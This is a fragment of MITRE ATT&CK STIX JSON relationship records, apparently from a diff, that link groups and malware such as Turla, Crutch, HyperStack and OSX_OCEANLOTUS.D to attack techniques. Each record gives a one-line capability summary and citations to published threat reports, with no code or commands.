"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." + } + ], + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can use the touch command to change timestamps.(Citation: Trend Micro MacOS Backdoor November 2020)", + "relationship_type": "uses", + "id": "relationship--630ef5c5-438d-4681-b4e9-b9dee3934848", + "type": "relationship", + "modified": "2020-12-02T14:30:55.530Z", + "created": "2020-12-02T14:30:55.530Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", + "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." + } + ], + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can collect the network interface MAC address on the infected host.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", + "relationship_type": "uses", + "id": "relationship--22067fc3-6919-41b5-b506-4a00830af5c4", + "type": "relationship", + "modified": "2020-12-02T14:57:47.365Z", + "created": "2020-12-02T14:57:47.365Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. 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Retrieved December 2, 2020." + } + ], + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has the ability to upload files from a compromised host..(Citation: Trend Micro MacOS Backdoor November 2020)", + "relationship_type": "uses", + "id": "relationship--cabdb159-174a-4fbd-b026-1d67f8f59dcf", + "type": "relationship", + "modified": "2020-12-02T15:04:45.703Z", + "created": "2020-12-02T15:04:45.703Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." + } + ], + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can use HTTP POST and GET requests to send and receive C2 information.(Citation: Trend Micro MacOS Backdoor November 2020)", + "relationship_type": "uses", + "id": "relationship--6c2e3490-d5d7-44de-9736-acc3669c7a6a", + "type": "relationship", + "modified": "2020-12-02T15:04:45.773Z", + "created": "2020-12-02T15:04:45.773Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "description": "(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--dac527e7-fffb-46de-8585-57a112cb1eba", + "type": "relationship", + "modified": "2020-12-02T21:13:54.437Z", + "created": "2020-12-02T21:13:54.437Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. 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Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "description": "[Carbon](https://attack.mitre.org/software/S0335) can use HTTP in C2 communications.(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--a9bec496-3c5f-43b7-afd1-1db713010e74", + "type": "relationship", + "modified": "2020-12-03T20:21:23.680Z", + "created": "2020-12-03T20:21:23.680Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "description": "[Carbon](https://attack.mitre.org/software/S0335) can use Pastebin to receive C2 commands.(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--1ef0015d-f4ab-49fe-a5b2-89e601ea5cfa", + "type": "relationship", + "modified": "2020-12-03T20:21:23.754Z", + "created": "2020-12-03T20:21:23.754Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "target_ref": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "description": "[HyperStack](https://attack.mitre.org/software/S0537) can use default credentials to connect to IPC$ shares on remote machines.(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--3f23a228-4817-44a0-9d08-210c23057b42", + "type": "relationship", + "modified": "2020-12-03T20:32:03.582Z", + "created": "2020-12-03T20:32:03.582Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). 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Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + }, + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used legitimate web services including Pastebin, Dropbox, and GitHub for C2 communications.(Citation: Accenture HyperStack October 2020)(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--e0e492ef-c67d-4a02-be8d-2e9a650ea6f0", + "type": "relationship", + "modified": "2020-12-04T21:04:06.898Z", + "created": "2020-12-03T20:47:09.694Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. 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Retrieved December 2, 2020." + } + ], + "description": "[HyperStack](https://attack.mitre.org/software/S0537) can use Windows API's ConnectNamedPipe and WNetAddConnection2 to detect incoming connections and connect to remote shares.(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--6cf502c8-58c4-41d5-abb1-f97492b1341c", + "type": "relationship", + "modified": "2020-12-04T15:04:01.898Z", + "created": "2020-12-03T21:24:20.003Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "description": "[HyperStack](https://attack.mitre.org/software/S0537) has used RSA encryption for C2 communications.(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--9ce0b5a6-b0e8-45b3-9c5c-bbb6b891a216", + "type": "relationship", + "modified": "2020-12-03T21:28:16.207Z", + "created": "2020-12-03T21:28:16.207Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "description": "[Carbon](https://attack.mitre.org/software/S0335) has used RSA encryption for C2 communications.(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--732e753e-49c2-4af4-8b3b-c81e577d7a42", + "type": "relationship", + "modified": "2021-04-19T20:47:24.526Z", + "created": "2020-12-03T21:35:33.197Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "external_references": [ + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "description": "[HyperStack](https://attack.mitre.org/software/S0537) can enumerate all account names on a remote share.(Citation: Accenture HyperStack October 2020)", + "relationship_type": "uses", + "id": "relationship--c5fef08a-e2ca-4bd1-880e-80fd90dc3d6a", + "type": "relationship", + "modified": "2020-12-04T15:01:55.429Z", + "created": "2020-12-04T15:01:55.429Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "external_references": [ + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has created web accounts including Dropbox and GitHub for C2 and document exfiltration.(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--1a51277b-0f14-4d8a-88cb-6616da7b4a98", + "type": "relationship", + "modified": "2020-12-04T21:04:04.702Z", + "created": "2020-12-04T21:04:04.702Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", + "external_references": [ + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--686d91dc-692b-48a0-829b-2556c6415f59", + "type": "relationship", + "modified": "2020-12-06T23:49:08.052Z", + "created": "2020-12-06T23:49:08.052Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", + "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "external_references": [ + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "[Crutch](https://attack.mitre.org/software/S0538) can persist via DLL search order hijacking on Google Chrome, Mozilla Firefox, or Microsoft OneDrive.(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--ae75aace-822c-484e-b25c-7d5f6792928c", + "type": "relationship", + "modified": "2020-12-07T20:14:50.742Z", + "created": "2020-12-07T19:39:17.280Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "external_references": [ + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "[Crutch](https://attack.mitre.org/software/S0538) can use Dropbox to receive commands and upload stolen data.(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--0f3a304a-574d-4ccc-b7d6-c546cd27fedd", + "type": "relationship", + "modified": "2020-12-07T19:39:17.343Z", + "created": "2020-12-07T19:39:17.343Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). 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Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "[Crutch](https://attack.mitre.org/software/S0538) has automatically exfiltrated stolen files to Dropbox.(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--be7f2951-ce33-4d48-ad9c-69071e54ae18", + "type": "relationship", + "modified": "2020-12-07T21:06:57.852Z", + "created": "2020-12-07T21:06:57.852Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "external_references": [ + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used local account credentials found during the intrusion for lateral movement and privilege escalation.(Citation: FoxIT Wocao December 2019)", + "relationship_type": "uses", + "id": "relationship--179cbd25-4aa2-4b5b-baa6-f72a65a6f6d8", + "type": "relationship", + "modified": "2020-12-07T21:13:24.575Z", + "created": "2020-12-07T21:13:24.575Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "external_references": [ + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used domain credentials, including domain admin, for lateral movement and privilege escalation.(Citation: FoxIT Wocao December 2019)", + "relationship_type": "uses", + "id": "relationship--9ed1ec04-312c-4053-bf2e-f48d3744702a", + "type": "relationship", + "modified": "2020-12-08T17:27:49.978Z", + "created": "2020-12-07T21:13:24.605Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "target_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "relationship_type": "uses", + "id": "relationship--43978b74-497d-4862-883b-8f464e3736f5", + "external_references": [ + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "description": "(Citation: FoxIT Wocao December 2019)", + "type": "relationship", + "modified": "2021-04-20T00:14:15.627Z", + "created": "2020-12-07T21:13:25.096Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "external_references": [ + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. 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Retrieved October 8, 2020." + } + ], + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used a custom collection method to intercept two-factor authentication soft tokens.(Citation: FoxIT Wocao December 2019)", + "relationship_type": "uses", + "id": "relationship--5c78972e-58c6-435c-ab1c-be6488265795", + "type": "relationship", + "modified": "2020-12-08T17:27:50.008Z", + "created": "2020-12-07T21:30:51.246Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", + "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." + } + ], + "description": "[Melcoz](https://attack.mitre.org/software/S0530) can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.(Citation: Securelist Brazilian Banking Malware July 2020)", + "relationship_type": "uses", + "id": "relationship--0d1bf687-ad42-45e6-bd52-34c6a14accad", + "type": "relationship", + "modified": "2020-12-09T19:01:19.622Z", + "created": "2020-12-09T18:59:51.482Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. 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(2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has abused local accounts that have the same password across the victim\u2019s network.(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--f4268a0d-0539-46de-bad8-ea72af455585", + "type": "relationship", + "modified": "2020-12-09T20:58:06.163Z", + "created": "2020-12-09T20:58:06.163Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "description": "[Crutch](https://attack.mitre.org/software/S0538) can exfiltrate data over the primary C2 channel (Dropbox HTTP API).(Citation: ESET Crutch December 2020)", + "relationship_type": "uses", + "id": "relationship--f78542d4-3e7b-4a73-a47e-1fc0a15fbe24", + "type": "relationship", + "modified": "2020-12-22T21:35:02.033Z", + "created": "2020-12-09T21:03:46.482Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." + } + ], + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to create a scheduled task for persistence.(Citation: CISA Zebrocy Oct 2020)", + "relationship_type": "uses", + "id": "relationship--f957f429-c0d1-4b02-aef8-1d8500421225", + "type": "relationship", + "modified": "2020-12-09T21:53:58.664Z", + "created": "2020-12-09T21:53:58.664Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "external_references": [ + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "[Carbanak](https://attack.mitre.org/groups/G0008)\u2019s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails. (Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--37ec750b-c0d2-4b3c-bfd2-b63e4f39b8c5", + "type": "relationship", + "modified": "2020-12-11T15:33:01.509Z", + "created": "2020-12-11T15:33:01.509Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized malicious VBS scripts in malware.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--fd6bd6fd-4a75-4094-ac67-bc14cb6b44bb", + "type": "relationship", + "modified": "2021-04-19T20:31:56.469Z", + "created": "2020-12-11T15:57:08.629Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "external_references": [ + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has compromised legitimate web browser updates to deliver a backdoor. (Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--23fe4e74-9a8e-40e6-99c0-25eb00775a89", + "type": "relationship", + "modified": "2020-12-11T16:00:14.836Z", + "created": "2020-12-11T16:00:14.836Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to capture mouse movements.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--f11ab582-8ea8-4ed7-9b1e-2b31dce390da", + "type": "relationship", + "modified": "2020-12-11T16:17:16.696Z", + "created": "2020-12-11T16:17:16.696Z" + 